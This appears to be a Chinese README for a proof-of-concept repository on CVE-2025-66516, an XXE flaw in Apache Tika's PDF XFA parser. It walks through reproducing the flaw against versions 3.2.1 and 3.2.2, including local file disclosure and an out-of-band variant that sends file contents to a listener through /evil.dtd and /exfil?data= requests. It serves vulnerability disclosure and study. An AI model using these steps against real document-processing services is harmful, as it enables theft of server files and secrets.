本仓库包含针对 CVE-2025-66516 的概念验证(POC)利用代码,该漏洞是 Apache Tika 3.2.2 之前版本中的一个 XML 外部实体(XXE)注入漏洞。漏洞影响 tika-parser-pdf-module 组件中的 XFA(XML 表单架构)解析器,允许攻击者通过精心构造的 PDF 文档读取本地文件并窃取敏感数据。
CVE-2025-66516 是 Apache Tika PDF 解析功能中的一个 严重安全漏洞。在处理包含嵌入式 XFA 表单的 PDF 文件时,3.2.2 之前的 Tika 版本未能正确限制 XML 解析器中的外部实体处理。这使得攻击者能够:
本仓库包含:
Apache Tika XXE, CVE-2025-66516 利用, Tika 安全漏洞, XML 外部实体攻击, PDF XXE 注入, Tika 3.2.1 漏洞, 带外 XXE, OOB XXE, 安全研究, 渗透测试, POC 利用, 漏洞披露, XFA 解析器漏洞, tika-parser-pdf-module, 文件泄露漏洞, 数据外泄, SSRF 攻击, 安全编码, 漏洞分析, 安全测试, 道德黑客, 信息安全, 网络安全研究, Apache Tika 利用代码, XXE 负载, PDF 安全, 文档解析器漏洞
注意: 此 POC 已在以下环境中测试并验证:
首先,为 POC 创建一个专用目录,以便将所有文件组织在一起。
mkdir apache_tika_poc
cd apache_tika_poc
在继续 POC 之前,请验证您的环境是否具有所需的依赖项。这些命令将显示您的 Java 编译器/运行时版本和操作系统详细信息,这对于复现漏洞至关重要。
# 检查 Java 版本
java -version
javac -version
# 检查操作系统版本
lsb_release -a
预期输出: 您应该看到 Java 版本信息(例如 OpenJDK 17.x.x)和 Ubuntu 版本详细信息(24.04.3 LTS)。
下载存在漏洞(3.2.1)和已修复(3.2.2)的 Apache Tika 版本。我们需要这两个版本来演示 XXE 漏洞存在于 3.2.1 中,并在 3.2.2 中修复。tika-app JAR 是一个一体化可执行文件,包含所有 Tika 解析器和依赖项。
# 下载存在漏洞的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar
# 下载已修复的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar
预期输出: 将下载两个 JAR 文件 - tika-app-3.2.1.jar(约 75MB)和 tika-app-3.2.2.jar(约 75MB)。
通过检查 JAR 清单文件验证确切版本。这确保我们在测试之前拥有正确的存在漏洞和已修复的版本。
# 检查存在漏洞版本的清单
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF
# 检查已修复版本的清单
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF
预期输出: 清单文件分别显示 Implementation-Version: 3.2.1 和 3.2.2,以及构建时间戳和其他元数据。
如果我们查看项目对象模型(Maven 的 POM 属性定义了项目的依赖项、构建配置和元数据),我们会发现安全公告中提到的 tika-parsers 模块并不独立存在——这可能与版本有关,并且假设在 POC 涉及的 3.2.1 和 3.2.2 版本中,tika-parsers 模块已被单独的解析器模块取代。
# 列出两个版本的所有组件 pom.properties 文件
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika
预期输出: 所有 Tika 组件模块的列表,包括 tika-core、tika-parser-pdf-module、tika-xmp 等。您会注意到单个的解析器模块,而不是单一的 tika-parsers 模块。
提取并显示核心 Tika 组件的版本信息。这有助于我们了解内部模块结构,并确认核心库和 PDF 解析器模块都处于预期版本。
# 检查 3.2.1 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
# 检查 3.2.2 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties
预期输出: POM 属性显示每个组件的 version=3.2.1 或 version=3.2.2,以 --- 分隔。所有三个组件(tika-core、tika-parser-pdf-module、tika-app)的版本应与整体版本匹配。
创建一个假 secrets 文件,它将作为我们 XXE 攻击的目标。该文件模拟攻击者可能试图通过 XXE 漏洞窃取的敏感数据(如 API 密钥或凭据)。
# 创建目标秘密文件
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt
预期输出: 一个名为 fake-secrets.txt 的文件,包含字符串 INTERNAL_SERVER_KEY=EXPOSED。XXE 利用将读取该文件。
为了理解修复内容,我们需要反编译并比较两个版本的 XMLReaderUtils 类。这个类负责创建 XML 解析器,而漏洞源于它如何配置 XML 实体处理。
# 提取存在漏洞的 JAR 进行分析
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..
# 提取已修复的 JAR 进行分析
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..
# 反编译存在漏洞的类
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..
# 反编译已修复的类
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..
# 比较版本
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt
预期输出: 提取会创建两个包含反编译类文件的目录。javap 命令生成 XMLReaderUtils 类的字节码反汇编。diff 命令将显示两个版本之间 XML 解析器配置的差异。
如果我们仔细比较,会发现任何文档类型定义(DTD)和外部实体的支持在 3.2.2 中被禁用——这是修复的核心:
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"
预期输出: 您将看到 diff 输出显示 3.2.2 版本添加了禁用 DTD 处理和外部实体解析的调用。查找设置 accessExternalDTD 为空字符串和 supportDTD 为 false 的行。
这演示了经典的 XXE 攻击,恶意 PDF 从服务器文件系统读取本地文件。Python 脚本生成一个 PDF,其中包含一个嵌入的 XFA 表单,该表单包含带有 XXE 负载的 XML,该负载引用了 file:///fake-secrets.txt。
# 生成恶意 PDF
python3 ./gen_poc.py
# 使用存在漏洞的 Tika 3.2.1 进行测试
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf
# 使用已修复的 Tika 3.2.2 进行测试
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf
预期输出:
gen_poc.py 创建包含 XXE 负载的 cve_2025_66516_poc.pdfINTERNAL_SERVER_KEY=EXPOSED - 秘密文件的内容!这演示了一种更复杂的 XXE 攻击,使用带外(OOB)数据外泄。恶意 PDF 不将文件内容反映在响应中,而是强制 Tika 将数据发送到攻击者控制的外部服务器。即使应用程序不返回解析的内容,这种技术也能生效。
# 生成带外 XXE PDF
python3 ./gen_oob_poc.py
# 启动 HTTP 监听器(在单独的终端中)
python3 ./http_listener.py
# 使用存在漏洞的 Tika 3.2.1 测试 OOB XXE
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf
# 使用已修复的 Tika 3.2.2 测试 OOB XXE
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf
预期输出:
gen_oob_poc.py 创建包含 OOB XXE 负载的 cve-2025-66516_OOB_XXE.pdfhttp_listener.py 在端口 8888 上启动服务器并等待传入请求/evil.dtd 的 GET 请求(外部 DTD 获取)/exfil?data=INTERNAL_SERVER_KEY=EXPOSED 的 GET 请求(数据外泄)这在更真实的场景中测试漏洞,其中 Tika 作为 Java 应用程序中的库使用(不仅仅是命令行工具)。DocumentProcessor.java 代码模拟了典型应用程序可能如何集成 Tika 进行文档解析。
# 使用存在漏洞的 Tika 编译
javac -cp tika-app-3.2.1.jar DocumentProcessor.java
# 使用存在漏洞的 Tika 运行
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
# 使用已修复的 Tika 编译
javac -cp tika-app-3.2.2.jar DocumentProcessor.java
# 使用已修复的 Tika 运行
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf
预期输出:
Document processed successfully!
Content extracted: [包含 INTERNAL_SERVER_KEY=EXPOSED 的文本]
⚠️ SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
Document processed successfully!
Content extracted: [不包含秘密数据的文本]
✓ No XXE vulnerability detected.
删除分析阶段创建的临时目录和文件,保持工作区整洁。
# 删除提取目录
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt
预期输出: 目录和反编译的文本文件将被删除。除非出错,否则不会显示输出。
如果您发现安全漏洞,请负责任地报告:
apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。
仅限教育用途 - 此 POC 仅用于教育目的和授权的安全测试。未经授权对不属于您或未经许可测试的系统使用是非法的。
欢迎贡献以改进此 POC 或文档!请确保任何贡献:
最后更新: 2025 年 12 月
ssrfoob-xxefile-disclosuresecure-codingvulnerability-analysissecurity-testingexploit-developmentred-teamblue-teamappsecdocument-parsingjava-security